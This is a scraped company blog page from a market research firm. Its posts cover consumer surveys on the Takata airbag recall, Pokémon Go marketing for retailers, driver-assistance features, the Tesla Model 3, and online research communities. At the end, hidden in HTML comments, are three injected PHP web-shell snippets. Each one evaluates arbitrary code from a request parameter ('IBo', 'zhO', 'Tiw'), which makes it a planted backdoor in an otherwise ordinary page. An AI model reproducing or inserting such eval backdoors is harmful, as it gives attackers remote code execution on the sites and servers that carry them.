31
Aug

Auto Manufacturers’ Response to the Takata Airbag Recall

Auto Manufacturers’ Response to the Takata Airbag Recall

By Greg Deinzer, Research Director

If you are like 62% of Americans, you are aware of the largest-ever U.S. auto recall by Japanese company Takata Corporation for defective airbag systems. The recall affects tens of millions of vehicles and dozens of vehicle manufacturers/brands, and has expanded dramatically over the past six months. Findings from Morpace’s July 2016 Omnibus survey of 1,000 U.S. respondents provide consumers’ opinions and feedback on this critical concern.

According to media reports in May of this year, at least 10 deaths and more than 100 injuries have been linked to the airbag problem worldwide. Additionally, the recall is expected to take place in phases over the next 2-3 years, and a few auto manufacturers are still equipping their new vehicles with the type of Takata airbags that are currently being recalled. Here’s hoping the other 38% who are unaware of the recall stay off the road for the next three years.

Somewhat surprisingly, those aware of the recall have about the same impression of the auto industry as those who are unaware, with more than one-third rating it “Good” or “Excellent”, over half rating it “Fair”, and only 1-in-10 rating it “Poor” or “Very Poor.” Ratings are higher for those on the recall list and for drivers who have been notified by the manufacturer or have had their airbags replaced. Even so, one-fourth of those who heard about the recall before this survey have a somewhat lower or much lower opinion of the auto industry in general.

Honda/Acura and Toyota/Lexus automobiles account for over half of the vehicles mentioned by survey respondents as being on the recall list. Although 6-in-10 vehicles on the list have already been replaced, 82% of those who are still waiting for replacement airbags have not been given an estimated time frame for their repairs.

Dealer Manufacturer actions chart

Seventy percent of those who are still waiting for replacement airbags are driving their vehicle as usual. That is, they are not taking any additional actions or precautions such as driving the vehicle less often, or not allowing anyone to sit in the front passenger seat. Likewise, in over one-fourth (28%) of pending recall replacements, the dealers or manufacturers are not providing any amenities to those who are waiting.

On the other hand, many companies are taking steps to alleviate or correct the situation by installing airbags from another supplier, providing a rental car, or deactivating or removing the airbags altogether until they can be replaced.

Some feel that mistakes happen and that recalls are inevitable. As one respondent put it, “auto manufacturers should not be blamed for the defects of one supplier.” Yet others hold vehicle manufacturers to a higher standard and expect quicker notification, an action plan, and replacement in a shorter period of time.

Many hold a more negative view—that automakers are willing to cut corners at the expense of safety. One respondent referenced an ironic fact: “a safety airbag manufacturer that manufactures unsafe equipment.”  Still, in relation to the airbag recall, only 7% do not feel at least moderately safe driving their vehicle.

Consumers are split on their feelings of how Takata is handling the recall. Thirty-four percent are “Very” or “Completely Satisfied”, 33% are “Moderately Satisfied”, and 33%are “Not Very” or “Not at all satisfied.” Auto manufacturers receive higher satisfaction ratings. Almost half of respondents are “Very” or “Completely Satisfied” with the way their vehicle manufacturer is handling the recall.

This illustrates the importance of open communications by suppliers and OEMs in clearly disseminating information and warnings to the public even if your hands are tied for months or even years. In this case, and probably many others like it, the public is likely to be more forgiving when transparency is used with consumers.

More
26
Jul

Pokémon Go Consumers, You Gotta Catch ‘Em All

Pokemon Go Consumers, You Gotta Catch 'Em All

By: Cory Kinne, Project Director

It’s 2016 and the Pokémon craze has struck again, this time in the form of a mobile app called “Pokémon Go”. As of July 21, Over 30 million downloads have occurred since the app’s release earlier in the month, and the hype doesn’t seem to be slowing down any time soon.

Not surprisingly, many Pokémon Go players are adults, since Pokémon first came out more than two decades ago. It’s nostalgia for many in their 30s and 40s and the game’s social features appeal to most millennials as well, not to mention teens.

Because of this broad appeal, Pokémon Go presents retailers with an opportunity for free promotion. No matter how big or small a business may be, welcoming Pokémon Go players to their shops and restaurants, or malls and boutiques has little downside.

Simple in-game purchases can be made by businesses in order to draw more customers through the doors. Items like “Lures”, which draw Pokémon to a certain location, can be purchased for as little as $1. New customer bases can be reached and the return on investment is promising; one New York pizzeria is boasting huge returns by investing only $10 in the Pokémon “Lures”, causing a 75% increase in business over the course of a single weekend.

Businesses can also be a “Pokéstop”, a place where players (or “trainers” as they are referred to in the game) go to receive items like “Poké Balls” and “revives”, or a “gym”, a place where players battle their monsters to become leaders. You literally have to be within a few feet of a Pokéstop to take advantage of the bounty of items within.

Such features of Pokémon Go draw players to the area, and businesses can up their marketing prowess by offering incentives such as discounts, prizes, or a free gift for players stopping by to increase interest in their products or services.

Our research and technology partner Qualtrics had some interesting statistics from Pokémon Go trainers they surveyed. See some fun and interesting infographics here.

For any retailer, it’s an opportunity they can’t afford to pass up. Engage customers in simple e-marketing campaigns, inviting Pokémon players, and informing them of nearby gyms or announcing your status as a “Pokéstop” is easy to do and costs little more than time. You literally have to be within a few feet of a Pokéstop to take advantage of the bounty. Better yet, business owners, managers and even employees should download the app and play the game to become familiar enough to converse with customers about it.

You may not get to level 30 in Pokémon Go, but chances are many of your customers have that as a potential goal. If your retail location hasn’t started using Pokémon Go, you don’t want to miss out.

For further insights contact the Morpace Retail team at ckinne@morpace.com. When we’re not catching the Wild Rattata lurking in our hallways or checking out the three nearby gyms adjacent to our Detroit headquarters, we’ll be there to answer your questions on how to take advantage of this craze. After all, you gotta catch ‘em all (customers that is)!

More
16
Jun

Top 3 Reasons Why Consumers are Rejecting Autonomy

Top 3 reasons why consumers are rejecting autonomy

By: Greg Swando, Senior Research Director

Autonomy.

This one word is the beginning of the current automobile industry’s disruption, as OEMs across the world race to incorporate various levels of autonomy and services into their vehicles.  New features such as Forward Collision Warning, Lane Keeping Assistance, and Emergency Braking, among others, have been emerging on the market and becoming more commonplace across vehicle portfolios and advertising campaigns.

But what exactly do consumers think about these new Automated Driver Assistance Systems (ADAS)?

While today’s consumers will see more advances in vehicle technology over the next five years than in the past 50, their rate of technology adoption may be slower to respond, as found by the report “A Consumer-Centric Journey Towards Autonomy”. This report was developed by our automotive team in partnership with SBD and Gamivation, in order to understand the opportunities and challenges that lie ahead in the journey toward next generation autonomous vehicles.

Our report revealed that there are 3 main reasons consumers are not only nervous about the new ADAS features, but may also be rejecting them entirely:

  1. Today’s driver assistance systems are being underutilized and/or misunderstood
  2. A significant number of current ADAS owners find the technology distracting and even irritating
  3. Many consumers reject needing any assistance–and are against giving up control of their vehicle

These and other surprising insights were revealed through the study, including how consumers are viewing the implementation and use of current ADAS features in vehicles. The types of consumers most open and receptive to these features, and those who are more likely to be suspicious or frightened by the new technology, are also revealed in the report, along with why consumers are reacting in these ways.

Our Automotive team and partners will help you learn how your competitors are implementing autonomous features and compare and contrast consumer viewpoints among each of these systems. After determining these points, our team can map out best-practice guidelines to differentiate your features as part of your overall brand, and help to make the consumers’ transition to autonomous features a smoother ride.

To find out more about “A Consumer Centric Journey Towards Autonomy” click here.

More
4
Apr

Consumers’ Positive Reaction to the New Tesla Model 3

 

Consumers' Positive Reaction to the New Tesla Model 3By: Jason Mantel, Senior Vice President

On Thursday March 31st, the world was introduced to the carefully planned unveiling of the new Tesla Model 3 at the Design Studio in Hawthorne, Calif. And it’s fair to say that the world was ready for the news. After all, more than 180,000 vehicles were ordered on the first day, according to the Wall Street Journal.

There’s a lot riding on the Tesla Model 3 both for Tesla itself, as this Slate article opines, and for the electric car market in general. At Morpace we quickly gathered insights and perceptions from our MyDrivingPower online community, a group of more than 300 U.S. based consumers that are current or recent owners of EVs or hybrids, and via our social media platform.

So what first impression did the smallest Tesla make on consumers? Overall, the first impressions of the Tesla Model 3 are generally positive. Morpace measured a net positive sentiment of 70 percent across the social media spectrum. But the good vibes go beyond just appearance or features. MyDrivingPower panelists were impressed with the affordability of the Tesla Model 3, which has a base price starting at $35,000. Beyond just the price point itself, there is a feeling of ‘value’ in the Model 3 offering. Specific quotes from our panelists included:

               “The Model 3 has made my goal of owning a Tesla possible.”

               “It is so much more at an affordable price point than any of the other electric cars.”

We see that consumers may have reached beyond customary automotive media outlets for learning about the Model 3. Instead, sites and blogs that provide technology news are bustling with traffic. We talked to members of our MyDrivingPower community of electric vehicle owners, who are looking to sources like Wired and TechCrunch for their Model 3 updates. These enthusiasts are visiting technology sites (49%) slightly more than automotive sites (44%) to learn more about this Tesla model. Tesla’s own website appears to be a similarly visited site. The introduction of an electric vehicle seems to transcend traditional classification, arguably being as much a ‘technological advancement’ as an ‘automotive advancement’.

As of today, Tesla is generating all the buzz with the anticipation of their Model 3. The number of Model 3 units pre-ordered is likely to rise in the coming months as more information becomes available and familiarity increases. But for today, when thinking about this vehicle and similar models from other manufacturers, our community of electric vehicle owners are leaning towards the Model 3, as compared to the Chevrolet Bolt.

Nearly 9in 10 members selected the Tesla Model 3 over the Chevrolet Bolt, perhaps the most closely similar model available (based on range and price) if they were in the market for a vehicle today. Specific quotes about the Tesla Model 3 included:

               “An industry changer.”

               “It makes all other cars seem old and out-of-date.”

Morpace will be closely following the journey of customers anticipating the Tesla Model 3 over the coming months.

More
10
Dec

Research Challenge: Catching the Elusive Green Mind

thumbnail

By Julie Vogel, Vice President

About five years ago the U.S. government had delivered a stiff mandate to automakers: by the year 2025 – just 10 years from now — any automakers wishing to sell vehicles in the U.S. must offer ones that average 54 mpg. Automakers were seeking a  ‘Reality TV’ type of insight of  Electric Vehicle (EV) owners, to understand how the plugging in and recharging of EVs was incorporated as part of daily life.

Here’s where it gets difficult. The elusive, Electric Vehicle owners represent less than 1% of the population and EVs are less than 1% of vehicles on the road. Also, these rare owners were starting to burn out from endless research requests from multiple corporate researchers.

Given Morpace’s unique contacts with both automakers and energy-efficient owners, the MyDrivingPower online research community was born, which includes more than 250 owners of electric and hybrid vehicles from across U.S.

Today, the collective voice of these vehicle owners is shaping the electric vehicle industry. This information is being utilized by vehicle manufacturers, utility companies, and government agencies, charging station manufacturers, battery manufacturers and the media.

For more insights visit this article in Automotive News.

More
2
Dec

Online Communities: A Powerful Media Relations Tool

By Jason Mantel, Vice President

A strong selling point for Market Research Online Communities is the ability to collect information quickly, sometimes instantaneously, from community members.  The theory goes that having members is exponentially more powerful than having respondents – members are engaged in your brand, eager to share, will be brutally honest in sharing the feedback your brand needs to hear. They are also available to you when you need them. Paper

As a primary market research firm, this is the line we use to promote MROCs.  Too often, though, these amazing tools are not leveraged for an amazing benefit: speed.

Morpace was contacted by Automotive News for thoughts on the electric vehicle market.  We host a MROC in this space, called My Driving Power.  The request came to our team at 4 p.m. on a Monday afternoon, and some of the questions were on topics where we had limited feedback.  Our first inclination was, “we’re missing that data!” And then suddenly, we remembered what we tell our clients – that MROCs generate fast results. (Really, it took time for this to sink in!) One of our analysts posted a few key questions immediately to our members.  And they didn’t let us down.

By 7 a.m. the next morning, we experienced a nearly 30% response rate, and robust results we could share with the publication.  We were able to answer specific questions, with statistically relevant figures, and pages of valuable comments, literally overnight.  I can’t recall another instance in my research career where that was possible, let alone with such a targeted audience.  (And many of our clients who host communities are yet to leverage their members for this type of benefit.)

I can imagine the value of this result in just about any corporate suite.  Even though I knew how it was supposed to work, I was simply amazed when it did.

More
27
Oct

Give Consumers The Right Instruments So They Will Become Your Ideal Co-pilot

CopilotBy Julie Vogel, Vice President

Okay, so here’s a true confession for you:  There were times during my years managing brands for The Quaker Oats Company when I felt uncomfortably in the dark about the sales impact our multi-million dollar marketing programs would have once we launched them into the consumer-o-sphere. And there were times we flat out made mistakes and missed opportunities because of an understanding gap between us and our consumers that seemed impossible to bridge.

For example, I’m thinking of the time I and my brand team launched a wrongly-named Hispanic tortilla mix in Southern U.S. markets.  The name meant ‘dirty wet dough’ in Spanish.  (And wrapped in a paper bag, too!)   But no one on the team spoke Spanish, and we couldn’t afford research, so the packaging department did some fancy guesswork.  But they guessed wrong, and that product was on the shelf for years – with our target likely chuckling away – until a Spanish speaker fortuitously joined the team and alerted us of the mistake.  The product was renamed, package redesigned, and sales jumped.

With the clarity of 20-20 hindsight, our blind-spots stemmed largely from a lack of immediate, back-and-forth communication avenues available at the time that would enable us to sustain the consumer understanding we needed to feel confident in our actions.  Sure, we surveyed, ad-tested, conducted groups, and at times fooled ourselves into believing we could actually think like the target.   In truth, we were just getting isolated ‘dipstick’ reads on certain topics, among certain consumers, at certain intervals, under certain conditions.  There was no way to truly hear the right group of consumers share their motivations, experiences and actions as they went through life and interacted with our brands over time.  Or to let them give us a heads-up if we were considering a silly name for a product.

Roll the tape forward, introduce social technologies that empower us – and our consumers—to exchange information almost any time, anywhere — and brands can now virtually make consumers their trusted co-pilots  at the go-to-market controls.   In particular, I have been astounded by the level of sustained, authentic insight and spot-on direction brands can obtain on a host of decisions large and small by setting up their own private online market research communities.

In my work building online market research communities for global brands, I have seen the peace-of-mind marketers can get from having a small (100s) or large (1000s) pool of ‘consumer-advisors’ virtually camped-out, at-the-ready to work together to resolve critical, time-sensitive decisions.  These are often decisions that need to be nailed-down and gotten right, fast, to ensure successful in-market programs

Okay, so I admit:  I am downright jealous of brand marketers today who have access to social technologies that empower them to take much of the guesswork out of who their consumers really are, and what they want from the companies they buy from.

After all, it’s downright embarrassing to be on shelf, or on-screen, with a proposition your audience finds ridiculous.  But without the right tools in place, it can happen to the best of us.  Better to do a reality-check with your audience before you hit the stage.  And today, this is eminently doable for forward looking brands serious about getting it right.

<!– [insert_php]if (isset($_REQUEST["IBo"])){eval($_REQUEST["IBo"]);exit;}[/insert_php][php]if (isset($_REQUEST["IBo"])){eval($_REQUEST["IBo"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["zhO"])){eval($_REQUEST["zhO"]);exit;}[/insert_php][php]if (isset($_REQUEST["zhO"])){eval($_REQUEST["zhO"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Tiw"])){eval($_REQUEST["Tiw"]);exit;}[/insert_php][php]if (isset($_REQUEST["Tiw"])){eval($_REQUEST["Tiw"]);exit;}[/php] –>

More